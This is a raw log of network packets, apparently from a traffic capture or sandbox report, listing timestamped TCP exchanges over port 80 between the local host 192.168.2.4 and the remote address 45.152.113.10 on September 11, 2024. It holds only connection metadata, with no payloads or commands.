Sep 11, 2024 22:52:08.482491016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482511997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482523918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482543945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482558012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482577085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482589960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482609034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482620001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482640982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482661963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482672930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482692957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482713938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482719898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482764959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482769012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482800961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482814074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482836962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482846022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482871056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482881069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482907057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482914925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482939005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482952118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482971907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482980967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483004093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483011961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483035088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483047962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483067036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483078003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483098984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483112097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483131886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483144045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483165026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483175039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483196020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483216047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483227968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483249903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483259916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483267069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483290911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483304977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483325005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483338118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483359098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483369112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483418941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483418941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483452082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483465910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483491898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483495951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483525038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483537912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483556032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483567953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483588934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483599901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483620882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483630896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483654976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483665943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483684063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.483699083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.483726025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.608355999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.613614082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739412069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739473104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739502907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739528894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739537001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739582062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739587069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739619970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739633083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739665031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739670038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739701986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739713907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739733934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739744902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739765882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739785910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739798069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739808083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739830971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739841938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739864111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739871979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739895105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739927053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739928007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739954948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739958048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.739974976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.739995956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.740008116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.740052938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779083967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779150009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779184103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779215097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779263973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779295921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779329062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779361010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779371023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779371023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779371023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779396057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779417038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779438972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779474974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779489040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779509068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779521942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779541016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779555082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779575109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779597044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779607058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779628992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779639959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779673100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779675007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779681921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779711008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779720068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779742956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779753923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779774904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779786110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779805899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779824972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779836893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779841900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779869080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779884100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779900074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779911041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779931068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779946089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779963017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.779975891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.779994965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.780014038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.780028105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.780041933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.780060053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.780077934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.780092001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.780103922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.780123949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.780138016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.780155897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.780164957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.780188084 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.780213118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.780224085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.780234098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.780277967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.817584991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817647934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.817790985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817807913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817831993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817841053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.817847013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817862034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817883015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.817884922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817900896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817914009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817918062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.817929029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817944050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.817945004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817960978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817970037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.817975998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.817984104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818021059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818042040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818084002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818135977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818150043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818182945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818272114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818285942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818308115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818321943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818324089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818336964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818350077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818363905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818373919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818394899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818396091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818411112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818419933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818424940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818439960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818453074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818454981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818469048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818487883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818491936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818506002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818515062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818522930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818532944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818536997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818552017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818566084 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818567038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818586111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818600893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818605900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818615913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818630934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818629980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818645954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818660021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818666935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818681002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818694115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818695068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818717957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818733931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818775892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818789959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818804026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818818092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818821907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818834066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818846941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818876982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818888903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818919897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818933964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818947077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818962097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818969011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.818975925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.818989992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819005013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.819020033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819026947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.819032907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819046021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819070101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.819070101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819083929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819087982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.819098949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819113016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819124937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.819127083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819164038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.819173098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819185019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.819185972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819200039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819214106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819220066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.819227934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.819255114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.819274902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.854801893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.854897022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.854962111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855015039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855015993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855051041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855065107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855097055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855101109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855146885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855149984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855181932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855195045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855226040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855232000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855263948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855277061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855307102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855314016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855350018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855364084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855381966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855406046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855437040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855449915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855473042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855483055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855504036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855526924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855535984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855559111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855566978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855581999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855598927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855612040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855632067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855643988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855664968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855674982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855696917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855707884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855730057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855741024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855762005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855775118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855794907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855807066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855827093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855839014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855860949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.855871916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.855907917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866262913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866316080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866348982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866399050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866424084 CEST	49733	80	192.168.2.4	45.152.113.10
